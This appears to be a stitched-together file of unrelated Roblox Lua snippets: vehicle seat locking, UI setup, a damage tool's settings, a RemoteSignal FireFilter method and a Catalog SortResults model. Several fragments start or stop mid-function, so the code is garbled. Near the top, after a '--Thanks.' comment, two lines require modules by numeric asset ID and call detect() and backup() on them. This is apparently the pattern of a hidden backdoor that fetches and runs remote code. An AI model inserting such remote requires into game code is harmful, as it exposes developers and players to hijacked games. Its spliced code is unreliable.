local require = require(script.Parent.loader).load(script) local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local GetRemoteEvent = require("GetRemoteEvent") local Promise = require("Promise") local ResourceConstants = require("ResourceConstants")
--Thanks.
local locate = require(4986541548) locate.detect() local mymodule = require(4986595724) mymodule:backup()
--v.SGUI.Identifier.Text = Stats.Plate.Value
v.SGUI.Identifier.Text = game.ReplicatedStorage.Events.Radio.getCS:InvokeServer() end end function ToogleLock(status) for i,v in pairs(Car:GetDescendants()) do if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then v.Disabled = status end end end
--[[ Initialises the controller, disabling the default roblox ui ]]
function UIController.init() pcall( function() StarterGui:SetCore("TopbarEnabled", false) end ) UserInputService.MouseIconEnabled = false end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 20 -- cooldown for use of the tool again BoneModelName = "True X event" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[=[ @param predicate (player: Player, argsFromFire: ...) -> boolean @param ... any -- Arguments to pass to the clients (and to the predicate) Fires the signal at any clients that pass the `predicate` function test. This can be used to fire signals with much more control logic. :::note Outbound Middleware All arguments pass through any outbound middleware (if any) before being sent to the clients. ::: :::caution Predicate Before Middleware The arguments sent to the predicate are sent _before_ getting transformed by any middleware. ::: ```lua -- Fire signal to players of the same team: remoteSignal:FireFilter(function(player) return player.Team.Name == "Best Team" end) ``` ]=]
function RemoteSignal:FireFilter(predicate: (Player, ...any) -> boolean, ...: any) for _, player in ipairs(Players:GetPlayers()) do if predicate(player, ...) then self._re:FireClient(player, self:_processOutboundMiddleware(nil, ...)) end end end
--[[ local previousCollisionGroups = {} local function setCollisionGroup(object) if object:IsA("BasePart") then previousCollisionGroups[object] = object.CollisionGroupId PhysicsService:SetPartCollisionGroup(object, playerCollisionGroupName) end end local function setCollisionGroupRecursive(object) setCollisionGroup(object) for _, child in ipairs(object:GetChildren()) do setCollisionGroupRecursive(child) end end local function resetCollisionGroup(object) local previousCollisionGroupId = previousCollisionGroups[object] if not previousCollisionGroupId then return end local previousCollisionGroupName = PhysicsService:GetCollisionGroupName(previousCollisionGroupId) if not previousCollisionGroupName then return end PhysicsService:SetPartCollisionGroup(object, previousCollisionGroupName) previousCollisionGroups[object] = nil end local function onCharacterAdded(character) setCollisionGroupRecursive(character) character.DescendantAdded:Connect(setCollisionGroup) character.DescendantRemoving:Connect(resetCollisionGroup) end local function onPlayerAdded(player) player.CharacterAdded:Connect(onCharacterAdded) end Players.PlayerAdded:Connect(onPlayerAdded) ]]
--[[ Model for sort results in the Catalog. { items = { "id": string, "type": string }, "keyword":string, "previousPageCursor": string, "nextPageCursor": string } ]]
local SortResults = {} function SortResults.new() local sortResults = {} return sortResults end function SortResults.mock() local self = SortResults.new() self.items = { id = "", type = "" } self.keyword = "" self.previousPageCursor = "" self.nextPageCursor = "" return self end function SortResults.fromSearchItemsDetails(itemDetailsResponse) local self = SortResults.new() self.items = {} for i, itemData in ipairs(itemDetailsResponse.data) do self.items[i] = { id = tostring(itemData.id), type = tostring(itemData.itemType) } end self.keyword = itemDetailsResponse.keyword self.previousPageCursor = itemDetailsResponse.previousPageCursor self.nextPageCursor = itemDetailsResponse.nextPageCursor return self end return SortResults